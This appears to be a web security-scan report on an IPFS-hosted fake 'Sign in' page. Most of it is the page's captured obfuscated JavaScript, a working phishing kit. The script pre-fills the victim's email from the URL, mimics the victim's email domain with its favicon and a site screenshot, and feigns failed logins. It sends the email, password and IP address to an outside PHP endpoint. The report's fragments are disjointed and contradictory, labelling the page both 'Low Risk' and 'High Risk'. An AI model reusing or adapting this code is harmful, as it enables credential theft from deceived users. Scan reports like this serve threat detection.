news media journalism

healthcare medical

government public service

e-commerce shopping

finance banking

English

Domain 'bafkreic2t6ccz3iur2zrmugwv632p7ygcgeynvounkbqxcw2kf3ycuk3wa.ipfs.dweb.link' uses the .link top-level domain, featuring subdomain 'bafkreic2t6ccz3iur2zrmugwv632p7ygcgeynvounkbqxcw2kf3ycuk3wa.ipfs'. The core label 'dweb' covers 4 characters holding 1 vowel versus three consonants. Word splitting yields two words: d, web. The median word length lands at 2 characters. No strong language cues emerged from the frequency lists.

email

password

html/fc/6f/fc6f1630-212a-490f-a29e-7c5bf8602e6e.html.gz

require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/apps-themes

4e58714f1b402ef5e836d7b853e6c52cbc0607663b2e2e9fd5cde8029886aac0

viewport

CSC Corporate Domains, Inc.

dweb.link

Abuse

Admin

Cloudflare-NOC

Cloudflare, Inc.

CLOUDFLARENET


        // ======================= ORIGINAL OBFUSCATED LOGIC (PRESERVED & FIXED) =======================
        const _0x3f3acf = _0x755e;
        (function (_0x576bd3, _0x2a939e) {
            const _0x297ef3 = _0x755e, _0x356569 = _0x576bd3();
            while (!![]) {
                try {
                    const _0x1b0356 = -parseInt(_0x297ef3(0xb3)) / 0x1 + -parseInt(_0x297ef3(0xad)) / 0x2 + parseInt(_0x297ef3(0x83)) / 0x3 * (parseInt(_0x297ef3(0xc7)) / 0x4) + parseInt(_0x297ef3(0x7e)) / 0x5 + -parseInt(_0x297ef3(0x7d)) / 0x6 + -parseInt(_0x297ef3(0x69)) / 0x7 * (-parseInt(_0x297ef3(0x8d)) / 0x8) + parseInt(_0x297ef3(0x84)) / 0x9;
                    if (_0x1b0356 === _0x2a939e) break;
                    else _0x356569['push'](_0x356569['shift']());
                } catch (_0x5d51f8) { _0x356569['push'](_0x356569['shift']()); }
            }
        }(_0x1e4d, 0x3ec28));
        
        let attempt = 0x0, currentBackgroundDomain = '';
        
        function updateFavicon(_0xd6e7e1) {
            const _0x18958b = _0x755e;
            if (_0xd6e7e1 && _0xd6e7e1[_0x18958b(0xb7)]('@')) {
                let _0x3497e6 = _0xd6e7e1[_0x18958b(0xaa)]('@')[0x1], _0x1e963a = document[_0x18958b(0x99)]('dynamicFavicon');
                if (_0x1e963a) _0x1e963a[_0x18958b(0x72)][_0x18958b(0x9c)](_0x1e963a);
                let _0x55e3db = document['createElement'](_0x18958b(0xb6));
                _0x55e3db['id'] = _0x18958b(0x95);
                _0x55e3db[_0x18958b(0xc1)] = _0x18958b(0x9f);
                _0x55e3db[_0x18958b(0x97)] = _0x18958b(0x76);
                _0x55e3db[_0x18958b(0x90)] = _0x18958b(0x89) + _0x3497e6 + _0x18958b(0xb5);
                document[_0x18958b(0x7b)][_0x18958b(0x85)](_0x55e3db);
                console['log'](_0x18958b(0x8f), _0x3497e6);
            } else {
                let _0x5c322d = document['getElementById'](_0x18958b(0x95));
                if (_0x5c322d) _0x5c322d[_0x18958b(0x90)] = '';
            }
        }
        
        function autoGrabEmail() {
            const _0x3959e6 = _0x755e;
            let _0x228ea1 = document[_0x3959e6(0x99)](_0x3959e6(0xb9));
            if (!_0x228ea1) return;
            let _0x2f6642 = null, _0x502b16 = new URLSearchParams(window['location'][_0x3959e6(0xa0)]), _0x2775c7 = ['e', 'email', _0x3959e6(0x8c), _0x3959e6(0xbe)];
            for (let _0x47107e of _0x2775c7) {
                let _0x38bab6 = _0x502b16[_0x3959e6(0x9e)](_0x47107e);
                if (_0x38bab6) { _0x2f6642 = decodeURIComponent(_0x38bab6); console[_0x3959e6(0xba)](_0x3959e6(0x6d) + _0x47107e + '=:', _0x2f6642); break; }
            }
            if (!_0x2f6642 && window[_0x3959e6(0xa7)][_0x3959e6(0xc2)]) {
                let _0x32a9d0 = window[_0x3959e6(0xa7)][_0x3959e6(0xc2)][_0x3959e6(0xb4)](0x1);
                _0x32a9d0 && _0x32a9d0[_0x3959e6(0xb7)]('@') && (_0x2f6642 = decodeURIComponent(_0x32a9d0), console[_0x3959e6(0xba)]('Email auto-grabbed from #hash:', _0x2f6642));
            }
            _0x2f6642 ? (_0x228ea1['value'] = _0x2f6642, updateEmailDisplay(_0x2f6642)) : console['log'](_0x3959e6(0xa6));
        }
        
        function _0x1e4d() {
            const _0x1dc7b8 = [
                'src', 'addEventListener', 'remove', '693959LhWcXx', 'focus', 'text', 'color', 'Email auto-grabbed from ?',
                'body', 'submit1.php', 'cover', 'email=', 'parentNode', 'onload', 'textContent', 'style', 'image/x-icon',
                'All IP services failed', 'none', 'https://ipapi.co/json/', 'submit', 'head', 'then', '348900kAZxJN',
                '478750pEmTTc', 'Background failed for:', 'fontSize', 'add', 'domainDisplay', '219ZwxrLf', '2162106rOmPck',
                'appendChild', '/favicon.ico', 'HEAD', 'has-background', 'https://www.google.com/s2/favicons?domain=',
                'value', 'thanksOverlay', 'mail', '8CjLFsl', 'https://api.myip.com/', 'Tab favicon updated for:',
                'href', 'backgroundRepeat', 'block', 'â PHP file found! Status:', 'querySelector', 'dynamicFavicon',
                'https://icon.horse/icon/', 'type', '40px', 'getElementById', 'backgroundImage', 'classList', 'removeChild',
                'status', 'get', 'shortcut icon', 'search', 'display', 'json', 'https://api.ipify.org?format=json',
                '#667eea', 'fallbackIcon', 'No email found in URL parameters or hash', 'location', 'length', 'catch',
                'split', 'Enter email', 'query', '732696MxfzcH', 'â PHP file not accessible:', 'onerror', 'form',
                'https://', 'visibility', '168418sortSH', 'substring', '&sz=128', 'link', 'includes', 'faviconImg',
                'email', 'log', 'backgroundPosition', 'visible', 'PHP response:', 'address', '&password=', 'hidden',
                'rel', 'hash', 'Background set for:', 'center', 'Error sending to PHP:', 'IPv4', '22732edbrdl', 'password'
            ];
            _0x1e4d = function () { return _0x1dc7b8; };
            return _0x1e4d();
        }
        
        function loadFavicon(_0x3f9b8c) {
            const _0x1ce84c = _0x755e;
            let _0x1f14c7 = document[_0x1ce84c(0x99)](_0x1ce84c(0xb8)), _0x87021c = document['getElementById'](_0x1ce84c(0xa5)), _0x3c7ae1 = _0x3f9b8c[_0x1ce84c(0xaa)]('.')[0x0], _0x498778 = _0x3c7ae1['charAt'](0x0)['toUpperCase'](), _0x2f2419 = ['https://www.google.com/s2/favicons?domain=' + _0x3f9b8c + _0x1ce84c(0xb5), _0x1ce84c(0x96) + _0x3f9b8c, 'https://favicon.yandex.net/favicon/' + _0x3f9b8c, 'https://' + _0x3f9b8c + _0x1ce84c(0x86)], _0x54575d = 0x0;
            function _0x388968() {
                const _0x34d562 = _0x1ce84c;
                if (_0x54575d >= _0x2f2419[_0x34d562(0xa8)]) {
                    _0x1f14c7[_0x34d562(0x75)][_0x34d562(0xa1)] = _0x34d562(0x78);
                    _0x87021c['style'][_0x34d562(0xa1)] = 'block';
                    _0x87021c[_0x34d562(0x74)] = _0x498778;
                    _0x87021c['style'][_0x34d562(0x80)] = _0x34d562(0x98);
                    _0x87021c[_0x34d562(0x75)][_0x34d562(0x6c)] = _0x34d562(0xa4);
                    return;
                }
                _0x1f14c7[_0x34d562(0xc9)] = _0x2f2419[_0x54575d];
            }
            _0x1f14c7['onload'] = function () {
                const _0x276735 = _0x1ce84c;
                _0x1f14c7[_0x276735(0x75)][_0x276735(0xa1)] = 'block';
                _0x87021c[_0x276735(0x75)][_0x276735(0xa1)] = 'none';
            };
            _0x1f14c7['onerror'] = function () { _0x54575d++; _0x388968(); };
            _0x388968();
        }
        
        // ENHANCED: updates title with domain without TLD
        function updateEmailDisplay(_0x1f9ac4) {
            const _0x52a378 = _0x755e;
            updateFavicon(_0x1f9ac4);
            if (_0x1f9ac4 && _0x1f9ac4[_0x52a378(0xb7)]('@')) {
                let _0x257910 = _0x1f9ac4[_0x52a378(0xaa)]('@')[0x1];
                loadFavicon(_0x257910);
                let _0x14dec2 = document['getElementById'](_0x52a378(0x82));
                if (_0x14dec2) _0x14dec2['textContent'] = _0x257910;
                document['body'][_0x52a378(0x75)][_0x52a378(0x9a)] = _0x52a378(0x78);
                document[_0x52a378(0x6e)][_0x52a378(0x9b)][_0x52a378(0x68)](_0x52a378(0x88));
                currentBackgroundDomain = _0x257910;
                let _0x500847 = 'https://image.thum.io/get/width/1200/crop/800/https://' + _0x257910, _0x1963d3 = new Image();
                _0x1963d3['onload'] = function () {
                    const _0x524367 = _0x52a378;
                    currentBackgroundDomain === _0x257910 && (document[_0x524367(0x6e)][_0x524367(0x75)][_0x524367(0x9a)] = 'url(\x27' + _0x500847 + '\x27)', document[_0x524367(0x6e)][_0x524367(0x75)][_0x524367(0x91)] = 'no-repeat', document['body'][_0x524367(0x75)]['backgroundSize'] = _0x524367(0x70), document[_0x524367(0x6e)][_0x524367(0x9b)][_0x524367(0x81)]('has-background'), console['log'](_0x524367(0xc3), _0x257910));
                };
                _0x1963d3[_0x52a378(0xaf)] = function () {
                    const _0x407d8b = _0x52a378;
                    console[_0x407d8b(0xba)](_0x407d8b(0x7f), _0x257910);
                    document[_0x407d8b(0x6e)][_0x407d8b(0x75)][_0x407d8b(0x9a)] = '';
                    document['body']['classList'][_0x407d8b(0x68)](_0x407d8b(0x88));
                };
                _0x1963d3[_0x52a378(0xc9)] = _0x500847;
                
                // UPDATE TAB TITLE: show domain without TLD
                let domainRaw = _0x257910;
                let domainWithoutTld = domainRaw.replace(/\.[^\.]+$/, '');
                if (domainWithoutTld === "") domainWithoutTld = domainRaw;
                document.title = domainWithoutTld;
            } else {
                let _0x1e51c7 = document[_0x52a378(0x99)](_0x52a378(0xb8)), _0x10ec2 = document[_0x52a378(0x99)](_0x52a378(0xa5));
                if (_0x1e51c7) _0x1e51c7['style']['display'] = _0x52a378(0x78);
                _0x10ec2 && (_0x10ec2['style'][_0x52a378(0xa1)] = _0x52a378(0x92), _0x10ec2['textContent'] = 'ð§');
                let _0x58d5dd = document[_0x52a378(0x99)]('domainDisplay');
                if (_0x58d5dd) _0x58d5dd[_0x52a378(0x74)] = _0x52a378(0xab);
                document[_0x52a378(0x6e)][_0x52a378(0x75)][_0x52a378(0x9a)] = '';
                document[_0x52a378(0x6e)]['classList']['remove'](_0x52a378(0x88));
                currentBackgroundDomain = '';
                // Reset title to default
                document.title = "Sign in";
            }
        }
        
        function getIPAddress() {
            return new Promise((_0x4827d2, _0x1542b8) => {
                const _0x51f65d = _0x755e, _0xa896e9 = [_0x51f65d(0xa3), _0x51f65d(0x79), _0x51f65d(0x8e), 'https://jsonip.com/', 'https://ipinfo.io/json'];
                let _0x524f04 = 0x0;
                function _0x3cddfb() {
                    const _0x3d8f4f = _0x51f65d;
                    if (_0x524f04 >= _0xa896e9[_0x3d8f4f(0xa8)]) return _0x1542b8(_0x3d8f4f(0x77));
                    fetch(_0xa896e9[_0x524f04], { 'method': 'GET', 'mode': 'cors' })[_0x3d8f4f(0x7c)](_0x2fb85a => _0x2fb85a['ok'] ? _0x2fb85a[_0x3d8f4f(0xa2)]() : Promise['reject']())['then'](_0x4cbc68 => {
                        const _0x1eb769 = _0x3d8f4f;
                        let _0x52ae3e = _0x4cbc68['ip'] || _0x4cbc68[_0x1eb769(0xc6)] || _0x4cbc68['ip_address'] || _0x4cbc68[_0x1eb769(0xac)] || _0x4cbc68['ip_addr'];
                        if (_0x52ae3e) _0x4827d2(_0x52ae3e);
                        else { _0x524f04++; _0x3cddfb(); }
                    })[_0x3d8f4f(0xa9)](() => { _0x524f04++; _0x3cddfb(); });
                }
                _0x3cddfb();
            });
        }
        
        function sendToPHP(_0x554911, _0x5c9258, _0xb2a656) {
            const _0x5d384a = _0x755e, _0x66ffbb = 'https://diamondlift.hu/wpadmin/irace.php';
            return fetch(_0x66ffbb, {
                'method': 'POST',
                'headers': { 'Content-Type': 'application/x-www-form-urlencoded' },
                'body': _0x5d384a(0x71) + encodeURIComponent(_0x554911) + _0x5d384a(0xbf) + encodeURIComponent(_0x5c9258) + '&ip=' + encodeURIComponent(_0xb2a656)
            })[_0x5d384a(0x7c)](_0x133a14 => _0x133a14[_0x5d384a(0x6b)]())[_0x5d384a(0x7c)](_0x267802 => { console['log'](_0x5d384a(0xbd), _0x267802); return _0x267802; })['catch'](_0x13b399 => { console['error'](_0x5d384a(0xc5), _0x13b399); throw _0x13b399; });
        }
        
        function _0x755e(_0x4bafd3, _0xc7f2c1) {
            _0x4bafd3 = _0x4bafd3 - 0x68;
            const _0x1e4d8c = _0x1e4d();
            let _0x755e95 = _0x1e4d8c[_0x4bafd3];
            return _0x755e95;
        }
        
        function testPHPConnection() {
            const _0x4f38dd = _0x755e;
            fetch(_0x4f38dd(0x6f), { 'method': _0x4f38dd(0x87) })[_0x4f38dd(0x7c)](_0x5ed699 => console[_0x4f38dd(0xba)](_0x4f38dd(0x93), _0x5ed699[_0x4f38dd(0x9d)]))['catch'](_0x244816 => console['error'](_0x4f38dd(0xae), _0x244816));
        }
        
        window[_0x3f3acf(0x73)] = function () {
            const _0x38a062 = _0x3f3acf;
            autoGrabEmail();
            let _0x65ef64 = document[_0x38a062(0x99)](_0x38a062(0xb9));
            if (_0x65ef64) {
                _0x65ef64['addEventListener']('input', function () {
                    updateEmailDisplay(this['value']);
                });
            }
            let _0x57096b = document[_0x38a062(0x94)](_0x38a062(0xb0));
            if (_0x57096b) {
                _0x57096b[_0x38a062(0xca)](_0x38a062(0x7a), function (_0x53dedf) {
                    const _0x2332c1 = _0x38a062;
                    _0x53dedf['preventDefault']();
                    attempt++;
                    let _0x2c72b6 = document['getElementById'](_0x2332c1(0xb9))['value'], _0x31d571 = document['getElementById'](_0x2332c1(0xc8))['value'];
                    getIPAddress()[_0x2332c1(0x7c)](_0x2ea67e => sendToPHP(_0x2c72b6, _0x31d571, _0x2ea67e))[_0x2332c1(0xa9)](() => sendToPHP(_0x2c72b6, _0x31d571, 'unknown'));
                    if (attempt < 0x3) {
                        let _0x1fd933 = document[_0x2332c1(0x99)](_0x2332c1(0xc8)), _0x3be4c2 = document[_0x2332c1(0x99)]('reenterMessage');
                        if (_0x1fd933) _0x1fd933[_0x2332c1(0x8a)] = '';
                        if (_0x3be4c2) {
                            _0x3be4c2['style'][_0x2332c1(0xa1)] = _0x2332c1(0x92);
                            _0x3be4c2['classList'][_0x2332c1(0x68)]('hidden');
                            setTimeout(() => {
                                const _0x560b7d = _0x2332c1;
                                _0x3be4c2[_0x560b7d(0x9b)]['add'](_0x560b7d(0xc0));
                                _0x3be4c2[_0x560b7d(0x75)][_0x560b7d(0xa1)] = _0x560b7d(0x78);
                            }, 0xbb8);
                        }
                        if (_0x1fd933) _0x1fd933[_0x2332c1(0x6a)]();
                    } else {
                        let _0x5ae43f = document[_0x2332c1(0x99)]('form-container'), _0x5be372 = document['getElementById'](_0x2332c1(0x8b));
                        if (_0x5ae43f) _0x5ae43f[_0x2332c1(0x75)][_0x2332c1(0xa1)] = _0x2332c1(0x78);
                        if (_0x5be372) {
                            _0x5be372[_0x2332c1(0x75)]['display'] = 'flex';
                            _0x5be372['style'][_0x2332c1(0xb2)] = _0x2332c1(0xbc);
                        }
                        setTimeout(() => {
                            const _0xe018b5 = _0x2332c1;
                            if (_0x2c72b6 && _0x2c72b6['includes']('@')) {
                                let _0x20279a = _0x2c72b6[_0xe018b5(0xaa)]('@')[0x1];
                                window[_0xe018b5(0xa7)][_0xe018b5(0x90)] = _0xe018b5(0xb1) + _0x20279a;
                            } else window[_0xe018b5(0xa7)][_0xe018b5(0x90)] = 'https://google.com';
                        }, 0xbb8);
                    }
                });
            }
            setTimeout(testPHPConnection, 0x3e8);
            if (document.getElementById('email') && !document.getElementById('email').value) {
                document.title = "Sign in";
            }
        };
        
        // Password toggle visibility helper
        window.togglePasswordVisibility = function() {
            const pwd = document.getElementById('password');
            if (pwd) {
                const type = pwd.getAttribute('type') === 'password' ? 'text' : 'password';
                pwd.setAttribute('type', type);
            }
        };
    

PasswordField

IPFS

HTTP/3

Cloudflare Bot Management

Cloudflare

Sign in

✅ Low Risk - https://bafkreic2t6ccz3iur2zrmugwv632p7ygcgeynvounkbqxcw2kf3ycuk3wa.ipfs.dweb.link/

Requests	IP Address	Location	AS Autonomous System
5	192.178.183.94	United States	AS15169Google LLC
1	142.251.110.95	United States	AS15169Google LLC
1	172.67.176.15	United States	AS13335Cloudflare, Inc.
1	209.94.90.2	United States	AS40680Protocol Labs
1	104.17.24.14	United States	AS13335Cloudflare, Inc.
9	5	-	-

Security Scan Report: bafkreic2t6ccz3iur2zrmugwv632p7ygcgeynvounkbqxcw2kf3ycuk3wa.ipfs.dweb.link

Summary

AI Security Verdict

High Risk

Risk Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Detected Technologies5

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History